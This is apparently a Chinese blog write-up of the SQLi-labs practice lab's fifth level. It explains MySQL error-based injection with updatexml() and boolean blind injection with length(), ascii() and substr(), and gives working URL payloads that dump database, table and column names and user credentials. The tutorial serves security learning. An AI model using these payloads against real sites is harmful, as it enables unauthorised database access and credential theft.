web——sqliabs靶场——第五关——报错注入和布尔盲注

这一关开始上强度了,不回显东西了,又要学到新的东西了

发现它没有正确的回显,学到了新知识,报错注入

报错注入

什么是报错注入:

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

复制代码
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a

提示:0x7e 等价于 ~

参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:

复制代码
?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a

就会爆出相关的信息

开始做题

方法一:使用报错注入

1.判断注入点

存在sql注入

2.判断注入的类型

单引号导致,页面显示数据库的报错信息,确定注入点为单引号字符型

3.判断注入函数是否可以使用

地址栏输入:

?id=0′ and updatexml(1,0x7e,3) --+

存在报错注入

4.爆数据库名:

复制代码
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

或者用别的函数,介绍SUBSTR() 函数

SUBSTR()SUBSTRING() 是 SQL 中用来提取字符串一部分的函数。不同的数据库系统可能对这些函数的支持略有不同,但是基本用法是相似的。以下是 SUBSTR() 函数的一些常见用法:

基本语法

复制代码
SUBSTR(string, start, length)
  • string:要提取子字符串的源字符串。
  • start:开始提取的位置(从1开始计数)。
  • length:要提取的子字符串的长度。

示例

假设我们有一个字符串 Hello World,我们想提取不同的部分:

  1. 提取从第8个字符开始的4个字符:

    SELECT SUBSTR('Hello World', 8, 4);

这将返回 World

在网页上输入

?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),34,31),3) -- a

5.爆表名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

6.爆字段名

复制代码
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

7.爆详细信息

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'@@@',password)) from users),1,37),0x7e),1) --+

结束

方法二: 使用布尔盲注

一、适用环境

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

二、盲注步骤

布尔盲注使用时分为两个步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么

  1. 长度判断原理

判断数据库的长度

?id=1' and length( database() )>1 -- a

页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

判断库名为8

文末使用脚本自动化判断

2.枚举字符

  1. 穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

推荐文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34......126。

页面异常(空)显示,表示猜解失误;

原文链接:https://blog.csdn.net/wangyuxiang946/article/details/123486880

?id=1' and ascii( substr( (select group_concat(schema_name) from information_schema.schemata) ,1,1) ) >1 -- a

可以使用脚本来做

相关推荐
海石8 小时前
📱随时随地大小编:TraeSolo 移动端初体验
前端·ai编程·trae
爱滑雪的码农9 小时前
详细说说React大型项目结构以及日常开发核心语法
前端·javascript·react.js
七牛开发者10 小时前
HTML is the new Markdown:来自 Claude Code 团队的实践
前端·人工智能·语言模型·html
@大迁世界10 小时前
43.HTML 事件处理和 React 事件处理有什么区别?
前端·javascript·react.js·html·ecmascript
CloneCello11 小时前
AI时代程序员认知调整指南
前端
ZC跨境爬虫11 小时前
跟着 MDN 学 HTML day_38:(DocumentFragment 文档片段接口详解)
前端·javascript·ui·html·音视频
@大迁世界12 小时前
41.ShadCN 是什么?它如何和 Tailwind CSS 集成,从而更容易构建可访问且可自定义的 React 组件?
前端·javascript·css·react.js·前端框架
千叶风行13 小时前
Text-to-SQL 技术设计与注意事项
前端·人工智能·后端
软件开发技术深度爱好者13 小时前
HTML5+JavaScript读取DOCX 文档完整内容
前端·html5
幽络源小助理13 小时前
苹果CMS V10 MXPro V4.5模版下载, 自适应视频主题源码, 幽络源源码
前端·开源·源码·php源码